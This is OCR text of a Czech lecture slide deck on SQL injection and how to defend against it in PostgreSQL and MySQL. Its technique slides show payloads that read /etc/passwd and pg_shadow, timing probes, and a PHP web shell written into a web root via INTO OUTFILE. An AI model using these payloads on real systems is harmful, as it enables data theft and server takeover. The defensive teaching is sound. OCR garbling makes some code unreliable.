SQL Injection
princip a ochrana
Zaklad injektaze
Zakladni ochrana
Proces zpracovani SQL dotazu

Prepared statements
Minimalizace dopadu priniku nastavenim prav
Detekce pruniku

Kladeni pasti



Cile SQL injektaze

Ziskani dat (hesla, korespondence)

Upravy uloZenych dat
(infekéni kéd, podvrZzena data)

Detekce prostredi
Naruseni provozu
Napadeni operacnhiho systému

Kompromitace provozovatele
(ziskani konkurencni vyhody)



Postup injektaze

* Nalezeni neoSetreného vstupu

e S pristupem k chybovym hlasenim

» S pristupem ke zdrojovému kodu

* |njektaz naslepo — Blind SQL injection
* Generovani efektivni hodnoty parametru

Parametr je ty
Parametr je ty

Parametr je ty

ou ¢islo
DU text

ou SOL identifikator



Efektivni hodnoty

o°

table=foo %3B SELECT * FROM pg roles

table=foo %3B SELECT pg sleep (10)%3B SELECT version ()

table=information schema.tables

>>>SELECT * FROM S$table<<<



Déleni metod SQL injection

Univerzalni metody
Zavislé na pouzitem vyvojovem prostredi
Zavislé na pouzitéem RDBMS (verzi)

Zavislé na pouzitém frameworku (verzi)
Kombinace vyse uvedeneho



Déleni SQL injection

Primy utok na aplikaci
Utok na administrativni nastroje (phpPgAdmin)

Utok prostiednictvim vstupt aplikace

Utok prostifednictvim uloZenych dat
« Email: ' || (SELECT version()) ||



Déleni SQL injection

* Inband - ziskana data jsou zobrazena v
odpovedi

» Out-of-band - ziskana data jsou poslana jinym
kanalem

o utl http.request
e Xp_sendmall

e Inferential - informace se odvodi z chovani
aplikace



Zakladni techniky
UNION SOL injection

SELECT 'pavel', 'heslo'

UNION
SELECT 'pavel', md5('pavel'| |heslo)

1=0
UNION
SELECT ARRAY( .. )

UNION
SELECT *
FROM information schema.tables
UNION
SELECT ...
FROM pg shadow




Zakladni techniky
Ziskani externich dat

» V pripade PostgreSQL nesmi dojit ke
kompromitaci UcCtu s pravem superusera!

« Potom Ize ziskat externi data napr: /etc/passwd



Zakladni techniky
Ziskani externich dat

postgres=# create table p(a varchar, b varchar, c¢ varchar,
d varchar, e wvarchar, f£ wvarchar,
g varchar) ;

CREATE TABLE

postgres=# copy p from '/etc/passwd' delimiter ':';

COPY 42

postgres=# select * from p limit 3;

a | b | ¢ | d | e | f | g
———————— e Rt S B e ————
root | x | 0 | O | root | /root | /bin/bash
bin | x | 1 | 1 | bin | /bin | /sbin/nologin
daemon | x | 2 | 2 | daemon | /sbin | /sbin/nologin

(3 rows)
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Zakladni techniky
Ziskani externich dat (MySQL)

SELECT LOAD FILE (0x2£f6574632£706173737764) ;
SELECT LOAD FILE('/etc/passwd');

SELECT '<?php system($S_GET["command"]); ?>'
INTO OUTFILE '/var/www/victim.com/shell.php'/*
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Zakladni techniky
blind SQL injection

* pg_sleep()

« WAITFOR DELAY

- BENCHMARK()
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Metody ochrany

 Pouziti filtrd
» Pouziti escape funkci (explicitni, implicitni)
« Pouziti parametrizovanych dotazl
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Escape funkce

o Explicitni
e mysqgl real escape_string
* pg_escape_string
e quote_literal

e quote_ident
o Implicitni

e dibi: :query('SELECT ...

WHERE id = %s',

$id)
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Zpracovani SQL dotazu

SQL
piikaz

planu

Parser

—

Provadéci
plan

Statistiky I I
Generovani f
F

Executor

—

Vysledek
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Prepared statement

postgres=# PREPARE x AS SELECT * FROM tables WHERE "table" = $1;
PREPARE

postgres=# EXECUTE x('tables');
table

tables

tables

(2 rows)

postgres=# explain EXECUTE x('tables');
QUERY PLAN
Seq Scan on tables (cost=0.00..2.79 rows=1 width=15)
Filter: (("table")::text = §$1)
(2 rows)
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Parametrizovane dotazy

$sth = $dbh->prepare('SELECT .. WHERE cal < :cal'),
$sth->bindParam(':cal', $cal, PDO_PARAM_INT);
$sth->execute()

pg_query_params('SELECT .. WHERE cal < $1°',
array($cal));
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Nastaveni prav

* Nepouzivat vlastnika pro pristup z aplikace

» K dulezitym sys. tabulkam odepfit pristup

REVOKE ALL ON pg proc FROM public
REVOKE ALL ON pg attribute FROM public
REVOKE ALL ON pg role FROM public
REVOKE ALL ON pg class FROM public

« K dulezitym aplikacnim datlim odepfit pristup

(pouZit security definer funkce)
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Pouziti SECURITY DEFINER
funkci

CREATE OR REPLACE FUNCTION new_ user (usrname varchar,
passwd varchar)
RETURNS void AS S$$
INSERT INTO users (usrname, passwd)
VALUES (S1, md5($S1 || $2))
$S$ LANGUAGE sql SECURITY DEFINER;

CREATE OR REPLACE FUNCTION check user (usrname varchar,
passwd varchar)

RETURNS bool AS $$
SELECT EXISTS (SELECT usrname

FROM users

WHERE usrname = $1

AND md5 ($1]|$2) = passwd)

$$ LANGUAGE sqgql SECURITY DEFINER;
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Pouziti SECURITY DEFINER
funkci

postgres=# select new_user('pavel',k 'heslo');
new_user

(1 row)

postgres=# select check_user('pavel', 'heslo');
check_user

GRANT EXECUTE
ON FUNCTION check user (varchar, wvarchar)
TO public;
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Pouziti SECURITY DEFINER

funkci

[pavel@nemesis ~]$ psqgl -Uappuser postgres
psql (8.5devel)
Type "help" for help.

postgres=> SELECT * FROM users ;

ERROR: permission denied for relation users

postgres=> select check_user('pavel',k 'heslo');
check_ user

postgres=> select check_user('pavla',6 'heslo');
check user

postgres=> select check_user('pavel',6 'hesloa');
check_user
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Mozné vylepseni
(overeni sily hesla)

[pavel@nemesis src]$ echo 'monika' | cracklib-check
monika: it is based on a dictionary word

[pavel@nemesis src]$ echo 'zlutykun' | cracklib-check
zlutykun: OK

[pavel@nemesis src]$ echo 'crazyhorse' | cracklib-check
crazyhorse: it is based on a dictionary word
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Detekce pruniku

» Vyskyt chyb v logu je zhamenim
nezabezpe€eného systému

* Bezny provoz nesmi generovat chybneé SQL prikazy
* Vlastni ziskani dat neni nijak zaznamenano

- Zaznamename pouze pocatecCni neuspesné pokusy

- Jejich existence ovSem znamena, ze system neni
bezpecny.
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Kladeni pasti
fly trap
 Uspéch zalezi na kvalité navnady
* Nazev, struktura, obsah

» Jediny nastroj, ktery mame k dispozici je
statistika pg_stat_user tables

» K temto statistikdm by bezny uzivatel nemel mit
pristup — v produkcnim prostredi
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Kladeni pasti

REVOKE SELECT on pg_stat_user_tables from public;
REVOKE SELECT on pg_stat_all_ tables from public;

postgres=# SELECT seq scan, idx scan
FROM pg stat_user_tables
WHERE relid = 'public.foo'::regclass;
seq scan | idx scan
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Historie

1998 NT Web Technology Vulnerabillities
2000 SQL Injection FAQ

2002 Manipulating SQL Server Using SQL
Injection

Chris Anley ,Advanced SQL injection®
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Dékuji vam za pozornost

Pavel Stéhule

pavel.stehule@nic.cz

Kde ziskat informace o dalSich aktivitach sdruzeni CZ.NIC?
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http://www.nic.cz/
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